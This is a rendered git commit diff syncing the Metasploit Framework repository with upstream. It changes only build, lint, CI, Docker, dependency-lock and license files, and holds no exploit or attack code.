Sync up upstream master
commit
5433d2cca9
|
@ -4,6 +4,7 @@
|
|||
docker-compose*.yml
|
||||
docker/
|
||||
!docker/msfconsole.rc
|
||||
!docker/entrypoint.sh
|
||||
README.md
|
||||
.git/
|
||||
.github/
|
||||
|
|
2
.mailmap
2
.mailmap
|
@ -41,6 +41,7 @@ sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
|
|||
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
|
||||
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
|
||||
tatanus <tatanus@github> <adam_compton@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
|
||||
|
@ -82,6 +83,7 @@ corelanc0d3r <corelanc0d3r@github> corelanc0d3r <peter.ve@corelan.be>
|
|||
corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
|
||||
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
|
||||
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
|
||||
DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
|
||||
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
||||
efraintorres <efraintorres@github> et <>
|
||||
espreto <espreto@github> <robertoespreto@gmail.com>
|
||||
|
|
23
.rubocop.yml
23
.rubocop.yml
|
@ -17,6 +17,10 @@ Metrics/ClassLength:
|
|||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/ClassAndModuleChildren:
|
||||
Enabled: false
|
||||
Description: 'Forced nesting is harmful for grepping and general code comprehension'
|
||||
|
||||
Metrics/AbcSize:
|
||||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
|
@ -29,6 +33,10 @@ Metrics/PerceivedComplexity:
|
|||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
|
||||
Style/TernaryParentheses:
|
||||
Enabled: false
|
||||
Description: 'This outright produces bugs'
|
||||
|
||||
Style/FrozenStringLiteralComment:
|
||||
Enabled: false
|
||||
Description: 'We cannot support this yet without a lot of things breaking'
|
||||
|
@ -37,6 +45,10 @@ Style/RedundantReturn:
|
|||
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
|
||||
Enabled: false
|
||||
|
||||
Style/NumericPredicate:
|
||||
Description: 'This adds no efficiency nor space saving'
|
||||
Enabled: false
|
||||
|
||||
Style/Documentation:
|
||||
Enabled: true
|
||||
Description: 'Most Metasploit modules do not have class documentation.'
|
||||
|
@ -92,9 +104,10 @@ Style/NumericLiterals:
|
|||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Layout/SpaceInsideBrackets:
|
||||
Enabled: false
|
||||
Description: 'Until module template are final, most modules will fail this.'
|
||||
Layout/AlignParameters:
|
||||
Enabled: true
|
||||
EnforcedStyle: 'with_fixed_indentation'
|
||||
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
|
||||
|
||||
Style/StringLiterals:
|
||||
Enabled: false
|
||||
|
@ -104,6 +117,10 @@ Style/WordArray:
|
|||
Enabled: false
|
||||
Description: 'Metasploit prefers consistent use of []'
|
||||
|
||||
Style/IfUnlessModifier:
|
||||
Enabled: false
|
||||
Description: 'This style might save a couple of lines, but often makes code less clear'
|
||||
|
||||
Style/RedundantBegin:
|
||||
Exclude:
|
||||
# this pattern is very common and somewhat unavoidable
|
||||
|
|
|
@ -1 +1 @@
|
|||
2.4.3
|
||||
2.5.1
|
||||
|
|
24
.travis.yml
24
.travis.yml
|
@ -11,25 +11,35 @@ addons:
|
|||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.2'
|
||||
- '2.3.6'
|
||||
- '2.4.3'
|
||||
- '2.3.7'
|
||||
- '2.4.4'
|
||||
- '2.5.1'
|
||||
|
||||
env:
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"'
|
||||
# Used for testing the remote data service
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
|
||||
|
||||
matrix:
|
||||
fast_finish: true
|
||||
exclude:
|
||||
- rvm: '2.3.7'
|
||||
env: CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
|
||||
- rvm: '2.4.4'
|
||||
env: CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
|
||||
|
||||
jobs:
|
||||
# build docker image
|
||||
include:
|
||||
- env: CMD="docker-compose build" DOCKER="true"
|
||||
- env: CMD="/usr/bin/docker-compose build" DOCKER="true"
|
||||
# we do not need any setup
|
||||
before_install: skip
|
||||
install: skip
|
||||
before_script: skip
|
||||
before_script:
|
||||
- curl -L https://github.com/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` > docker-compose
|
||||
- chmod +x docker-compose
|
||||
- sudo mv docker-compose /usr/bin
|
||||
before_install:
|
||||
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
|
||||
- rake --version
|
||||
|
@ -49,7 +59,9 @@ before_script:
|
|||
script:
|
||||
- echo "${CMD}"
|
||||
# we need travis_wait because the Docker build job can take longer than 10 minutes
|
||||
- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
|
||||
#- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
|
||||
# docker_wait is currently broken on travis-ci, so let's just run CMD directly for now
|
||||
- bash -c "${CMD}"
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
|
|
@ -36,8 +36,13 @@ and Metasploit's [Common Coding Mistakes].
|
|||
* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying.
|
||||
* **Do** follow the [50/72 rule] for Git commit messages.
|
||||
* **Don't** use the default merge messages when merging from other branches.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
If you do not send a PR from a topic branch, the history of your PR will be
|
||||
lost as soon as you update your own master branch. See
|
||||
https://github.com/rapid7/metasploit-framework/pull/8000 for an example of
|
||||
this in action.
|
||||
|
||||
|
||||
### Pull Requests
|
||||
|
||||
|
|
41
Dockerfile
41
Dockerfile
|
@ -1,9 +1,8 @@
|
|||
FROM ruby:2.4.3-alpine3.7
|
||||
FROM ruby:2.5.1-alpine3.7 AS builder
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
WORKDIR $APP_HOME
|
||||
|
||||
|
@ -12,20 +11,7 @@ COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/vers
|
|||
COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
|
||||
COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
|
||||
|
||||
RUN apk update && \
|
||||
apk add \
|
||||
bash \
|
||||
sqlite-libs \
|
||||
nmap \
|
||||
nmap-scripts \
|
||||
nmap-nselibs \
|
||||
postgresql-libs \
|
||||
python \
|
||||
python3 \
|
||||
ncurses \
|
||||
libcap \
|
||||
su-exec \
|
||||
&& apk add --virtual .ruby-builddeps \
|
||||
RUN apk add --no-cache \
|
||||
autoconf \
|
||||
bison \
|
||||
build-base \
|
||||
|
@ -44,15 +30,28 @@ RUN apk update && \
|
|||
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& gem install bundler \
|
||||
&& bundle install --system $BUNDLER_ARGS \
|
||||
&& apk del .ruby-builddeps \
|
||||
&& rm -rf /var/cache/apk/*
|
||||
&& bundle install --clean --no-cache --system $BUNDLER_ARGS \
|
||||
# temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
&& rm -rf /usr/local/bundle/cache \
|
||||
# needed so non root users can read content of the bundle
|
||||
&& chmod -R a+r /usr/local/bundle
|
||||
|
||||
|
||||
FROM ruby:2.5.1-alpine3.7
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
|
||||
COPY --from=builder /usr/local/bundle /usr/local/bundle
|
||||
COPY . $APP_HOME
|
||||
|
||||
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python python3 ncurses libcap su-exec
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
ADD ./ $APP_HOME
|
||||
|
||||
WORKDIR $APP_HOME
|
||||
# we need this entrypoint to dynamically create a user
|
||||
# matching the hosts UID and GID so we can mount something
|
||||
# from the users home directory. If the IDs don't match
|
||||
|
|
9
Gemfile
9
Gemfile
|
@ -19,15 +19,13 @@ group :development do
|
|||
# module documentation
|
||||
gem 'octokit'
|
||||
# Metasploit::Aggregator external session proxy
|
||||
gem 'metasploit-aggregator' if [
|
||||
'x86-mingw32', 'x64-mingw32',
|
||||
'x86_64-linux', 'x86-linux',
|
||||
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
|
||||
# disabled during 2.5 transition until aggregator is available
|
||||
#gem 'metasploit-aggregator'
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
# automatically include factories from spec/factories
|
||||
gem 'factory_girl_rails'
|
||||
gem 'factory_bot_rails'
|
||||
# Make rspec output shorter and more useful
|
||||
gem 'fivemat'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
|
@ -36,6 +34,7 @@ group :development, :test do
|
|||
# environment is development
|
||||
gem 'rspec-rails'
|
||||
gem 'rspec-rerun'
|
||||
gem 'swagger-blocks'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
|
196
Gemfile.lock
196
Gemfile.lock
|
@ -10,6 +10,7 @@ PATH
|
|||
bcrypt_pbkdf
|
||||
bit-struct
|
||||
dnsruby
|
||||
ed25519
|
||||
faker
|
||||
filesize
|
||||
jsobfu
|
||||
|
@ -18,9 +19,9 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.29)
|
||||
metasploit-payloads (= 1.3.52)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.3.7)
|
||||
metasploit_payloads-mettle (= 0.4.2)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
|
@ -49,7 +50,7 @@ PATH
|
|||
rex-mime
|
||||
rex-nop
|
||||
rex-ole
|
||||
rex-powershell (< 0.1.78)
|
||||
rex-powershell
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-rop_builder
|
||||
|
@ -59,13 +60,17 @@ PATH
|
|||
rex-text
|
||||
rex-zip
|
||||
ruby-macho
|
||||
ruby_smb (= 0.0.18)
|
||||
ruby_smb
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sinatra
|
||||
sqlite3
|
||||
sshkey
|
||||
sysrandom
|
||||
thin
|
||||
tzinfo
|
||||
tzinfo-data
|
||||
warden
|
||||
windows_error
|
||||
xdr
|
||||
xmlrpc
|
||||
|
@ -103,75 +108,56 @@ GEM
|
|||
public_suffix (>= 2.0.2, < 4.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.6.1)
|
||||
arel-helpers (2.8.0)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
backports (3.11.1)
|
||||
bcrypt (3.1.11)
|
||||
backports (3.11.4)
|
||||
bcrypt (3.1.12)
|
||||
bcrypt_pbkdf (1.0.0)
|
||||
bindata (2.4.2)
|
||||
bindata (2.4.4)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
coderay (1.1.2)
|
||||
concurrent-ruby (1.0.5)
|
||||
crass (1.0.3)
|
||||
crass (1.0.4)
|
||||
daemons (1.2.6)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.60.2)
|
||||
docile (1.1.5)
|
||||
dnsruby (1.61.2)
|
||||
addressable (~> 2.5)
|
||||
docile (1.3.1)
|
||||
ed25519 (1.2.4)
|
||||
erubis (2.7.0)
|
||||
factory_girl (4.9.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (4.11.1)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_girl_rails (4.9.0)
|
||||
factory_girl (~> 4.9.0)
|
||||
factory_bot_rails (4.11.1)
|
||||
factory_bot (~> 4.11.1)
|
||||
railties (>= 3.0.0)
|
||||
faker (1.8.7)
|
||||
faker (1.9.1)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.14.0)
|
||||
faraday (0.15.3)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.5)
|
||||
google-protobuf (3.5.1.2)
|
||||
googleapis-common-protos-types (1.0.1)
|
||||
google-protobuf (~> 3.0)
|
||||
googleauth (0.6.2)
|
||||
faraday (~> 0.12)
|
||||
jwt (>= 1.4, < 3.0)
|
||||
logging (~> 2.0)
|
||||
memoist (~> 0.12)
|
||||
multi_json (~> 1.11)
|
||||
os (~> 0.9)
|
||||
signet (~> 0.7)
|
||||
grpc (1.9.1)
|
||||
google-protobuf (~> 3.1)
|
||||
googleapis-common-protos-types (~> 1.0.0)
|
||||
googleauth (>= 0.5.1, < 0.7)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
hashery (2.1.2)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.1.0)
|
||||
jwt (2.1.0)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.2.2)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.10)
|
||||
loofah (2.2.0)
|
||||
loofah (2.2.2)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
memoist (0.16.0)
|
||||
metasm (1.0.3)
|
||||
metasploit-aggregator (1.0.0)
|
||||
grpc
|
||||
rex-arch
|
||||
metasploit-concern (2.0.5)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (2.0.13)
|
||||
metasploit-credential (3.0.1)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models
|
||||
pg
|
||||
metasploit_data_models (>= 3.0.0)
|
||||
net-ssh
|
||||
pg (~> 0.15)
|
||||
railties
|
||||
rex-socket
|
||||
rubyntlm
|
||||
|
@ -180,8 +166,8 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.29)
|
||||
metasploit_data_models (2.0.16)
|
||||
metasploit-payloads (1.3.52)
|
||||
metasploit_data_models (3.0.1)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
|
@ -191,29 +177,27 @@ GEM
|
|||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.3.7)
|
||||
metasploit_payloads-mettle (0.4.2)
|
||||
method_source (0.9.0)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.11.3)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.2.2)
|
||||
multi_json (1.13.1)
|
||||
msgpack (1.2.4)
|
||||
multipart-post (2.0.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (4.2.0)
|
||||
net-ssh (5.0.2)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.2.0)
|
||||
nokogiri (1.8.2)
|
||||
nexpose (7.2.1)
|
||||
nokogiri (1.8.5)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.8.0)
|
||||
octokit (4.12.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
os (0.9.6)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.4)
|
||||
pcaprub (0.13.0)
|
||||
pdf-reader (2.1.0)
|
||||
Ascii85 (~> 1.0.0)
|
||||
afm (~> 0.2.1)
|
||||
|
@ -222,15 +206,17 @@ GEM
|
|||
ttfunk
|
||||
pg (0.20.0)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (3.0.0)
|
||||
activerecord (>= 4.0.0)
|
||||
postgres_ext (3.0.1)
|
||||
activerecord (~> 4.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.11.3)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.2)
|
||||
rack (1.6.8)
|
||||
public_suffix (3.0.3)
|
||||
rack (1.6.10)
|
||||
rack-protection (1.5.5)
|
||||
rack
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails-deprecated_sanitizer (1.0.3)
|
||||
|
@ -239,16 +225,16 @@ GEM
|
|||
activesupport (>= 4.2.0, < 5.0)
|
||||
nokogiri (~> 1.6)
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.3)
|
||||
loofah (~> 2.0)
|
||||
rails-html-sanitizer (1.0.4)
|
||||
loofah (~> 2.2, >= 2.2.2)
|
||||
railties (4.2.10)
|
||||
actionpack (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.3.0)
|
||||
rake (12.3.1)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.1.17)
|
||||
recog (2.1.26)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.13)
|
||||
|
@ -259,12 +245,12 @@ GEM
|
|||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.12)
|
||||
rex-core (0.1.13)
|
||||
rex-encoder (0.1.4)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.17)
|
||||
rex-exploitation (0.1.19)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
|
@ -277,7 +263,7 @@ GEM
|
|||
rex-arch
|
||||
rex-ole (0.1.6)
|
||||
rex-text
|
||||
rex-powershell (0.1.77)
|
||||
rex-powershell (0.1.79)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.4)
|
||||
|
@ -287,85 +273,92 @@ GEM
|
|||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.10)
|
||||
rex-socket (0.1.15)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.16)
|
||||
rex-text (0.2.21)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.7.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-core (3.7.1)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-expectations (3.7.0)
|
||||
rspec (3.8.0)
|
||||
rspec-core (~> 3.8.0)
|
||||
rspec-expectations (~> 3.8.0)
|
||||
rspec-mocks (~> 3.8.0)
|
||||
rspec-core (3.8.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-expectations (3.8.2)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-mocks (3.7.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-mocks (3.8.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rails (3.7.2)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-rails (3.8.0)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-core (~> 3.8.0)
|
||||
rspec-expectations (~> 3.8.0)
|
||||
rspec-mocks (~> 3.8.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.7.1)
|
||||
ruby-macho (1.1.0)
|
||||
rspec-support (3.8.0)
|
||||
ruby-macho (2.1.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (0.0.18)
|
||||
ruby_smb (1.0.4)
|
||||
bindata
|
||||
rubyntlm
|
||||
windows_error
|
||||
rubyntlm (0.6.2)
|
||||
rubyzip (1.2.1)
|
||||
rubyzip (1.2.2)
|
||||
sawyer (0.8.1)
|
||||
addressable (>= 2.3.5, < 2.6)
|
||||
faraday (~> 0.8, < 1.0)
|
||||
signet (0.8.1)
|
||||
addressable (~> 2.3)
|
||||
faraday (~> 0.9)
|
||||
jwt (>= 1.5, < 3.0)
|
||||
multi_json (~> 1.10)
|
||||
simplecov (0.15.1)
|
||||
docile (~> 1.1.0)
|
||||
simplecov (0.16.1)
|
||||
docile (~> 1.1)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.2)
|
||||
sinatra (1.4.8)
|
||||
rack (~> 1.5)
|
||||
rack-protection (~> 1.4)
|
||||
tilt (>= 1.3, < 3)
|
||||
sqlite3 (1.3.13)
|
||||
sshkey (1.9.0)
|
||||
swagger-blocks (2.0.2)
|
||||
sysrandom (1.0.5)
|
||||
thin (1.7.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (0.20.0)
|
||||
thread_safe (0.3.6)
|
||||
tilt (2.0.8)
|
||||
timecop (0.9.1)
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.5)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2018.3)
|
||||
tzinfo-data (1.2018.5)
|
||||
tzinfo (>= 1.0.0)
|
||||
warden (1.2.7)
|
||||
rack (>= 1.0)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.12)
|
||||
yard (0.9.16)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
factory_girl_rails
|
||||
factory_bot_rails
|
||||
fivemat
|
||||
metasploit-aggregator
|
||||
metasploit-framework!
|
||||
octokit
|
||||
pry
|
||||
|
@ -374,8 +367,9 @@ DEPENDENCIES
|
|||
rspec-rails
|
||||
rspec-rerun
|
||||
simplecov
|
||||
swagger-blocks
|
||||
timecop
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.16.1
|
||||
1.16.4
|
||||
|
|
52
LICENSE
52
LICENSE
|
@ -115,6 +115,10 @@ Files: data/webcam/api.js
|
|||
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
|
||||
License: MIT
|
||||
|
||||
Files: lib/msf/core/db_manager/http/public/*, lib/msf/core/db_manager/http/views/api_docs.erb
|
||||
Copyright: Copyright 2018 SmartBear Software
|
||||
License: Apache 2.0
|
||||
|
||||
License: BSD-2-clause
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
@ -603,6 +607,54 @@ License: Artistic
|
|||
DAMAGES ARISING IN ANY WAY OUT OF THE USE OF THE PACKAGE, EVEN IF
|
||||
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
License: Apache
|
||||
Version 1.1, 2000
|
||||
Modifications by CORE Security Technologies
|
||||
.
|
||||
Copyright (c) 2000 The Apache Software Foundation. All rights
|
||||
reserved.
|
||||
.
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
.
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in
|
||||
the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
.
|
||||
3. The end-user documentation included with the redistribution,
|
||||
if any, must include the following acknowledgment:
|
||||
"This product includes software developed by
|
||||
CORE Security Technologies (http://www.coresecurity.com/)."
|
||||
Alternately, this acknowledgment may appear in the software itself,
|
||||
if and wherever such third-party acknowledgments normally appear.
|
||||
.
|
||||
4. The names "Impacket" and "CORE Security Technologies" must
|
||||
not be used to endorse or promote products derived from this
|
||||
software without prior written permission. For written
|
||||
permission, please contact oss@coresecurity.com.
|
||||
.
|
||||
5. Products derived from this software may not be called "Impacket",
|
||||
nor may "Impacket" appear in their name, without prior written
|
||||
permission of CORE Security Technologies.
|
||||
.
|
||||
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
|
||||
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
|
||||
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
|
||||
USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGE.
|
||||
|
||||
License: Apache
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
|
151
LICENSE_GEMS
151
LICENSE_GEMS
|
@ -1,130 +1,135 @@
|
|||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.0.2, MIT
|
||||
actionpack, 4.2.9, MIT
|
||||
actionview, 4.2.9, MIT
|
||||
activemodel, 4.2.9, MIT
|
||||
activerecord, 4.2.9, MIT
|
||||
activesupport, 4.2.9, MIT
|
||||
addressable, 2.5.1, "Apache 2.0"
|
||||
Ascii85, 1.0.3, MIT
|
||||
actionpack, 4.2.10, MIT
|
||||
actionview, 4.2.10, MIT
|
||||
activemodel, 4.2.10, MIT
|
||||
activerecord, 4.2.10, MIT
|
||||
activesupport, 4.2.10, MIT
|
||||
addressable, 2.5.2, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel, 6.0.4, MIT
|
||||
arel-helpers, 2.4.0, unknown
|
||||
backports, 3.8.0, MIT
|
||||
arel-helpers, 2.6.1, MIT
|
||||
backports, 3.11.1, MIT
|
||||
bcrypt, 3.1.11, MIT
|
||||
bindata, 2.4.0, ruby
|
||||
bcrypt_pbkdf, 1.0.0, MIT
|
||||
bindata, 2.4.3, ruby
|
||||
bit-struct, 0.16, ruby
|
||||
builder, 3.2.3, MIT
|
||||
bundler, 1.15.1, MIT
|
||||
coderay, 1.1.1, MIT
|
||||
bundler, 1.16.1, MIT
|
||||
coderay, 1.1.2, MIT
|
||||
concurrent-ruby, 1.0.5, MIT
|
||||
crass, 1.0.3, MIT
|
||||
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.60.1, "Apache 2.0"
|
||||
docile, 1.1.5, MIT
|
||||
dnsruby, 1.60.2, "Apache 2.0"
|
||||
docile, 1.3.0, MIT
|
||||
erubis, 2.7.0, MIT
|
||||
factory_girl, 4.8.0, MIT
|
||||
factory_girl_rails, 4.8.0, MIT
|
||||
faraday, 0.12.1, MIT
|
||||
factory_bot, 4.8.2, MIT
|
||||
factory_bot_rails, 4.8.2, MIT
|
||||
faker, 1.8.7, MIT
|
||||
faraday, 0.14.0, MIT
|
||||
filesize, 0.1.1, MIT
|
||||
